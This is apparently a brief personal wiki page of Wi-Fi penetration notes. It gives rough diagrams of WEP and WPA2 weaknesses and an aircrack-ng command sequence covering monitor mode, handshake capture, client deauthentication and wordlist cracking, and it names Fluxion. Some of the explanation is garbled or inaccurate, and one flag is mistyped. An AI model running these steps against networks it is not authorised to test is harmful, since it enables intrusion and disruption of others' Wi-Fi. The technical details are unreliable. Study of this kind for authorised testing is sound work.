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Wifi Penetration

The Wifi-Alliance is the worldwide network of companies that brings you Wi-Fi!

Protocols

• wep - Wired Equivalent Privacy

  
      Initialization Vector Packet - are clear text and encrypt the next 3 data packets
  
         IV ---------> | Access Point | ~~~~~~~~~~~~~~~~~~~~~~~~~~[Victim]
       Packet                            Air Crack
       64-Bit                          50k packets -IV ---> Key
  password  Random                      Cracked in 10-15mins
  
      

• WPA - Wifi Protected Access
• WPA2 -Wifi Protected Access 2

  
       Authentication Header - AES Encrypted (symmetric)
  
            [AH]
          /     
       [AP]      [V]
               /
            [H]
  
      

Techniques

• Option 1
  

  
   airmon-ng start wlan0
  
   airodump-ng mon0
  
   airodump-ng -c #channelid -w filename --bbsid #(mac address of client) mon0
  
   aireplay-ng -0 0 -a #BSSID mon0
  
   aircrack-ng file -w /pentest/passwords/wordlist/darkcode.lst
  
       

Tools, Sources and Links

• Wireless Shack
• Fluxion

http:///wiki/?wifipenetration

13dec16

admin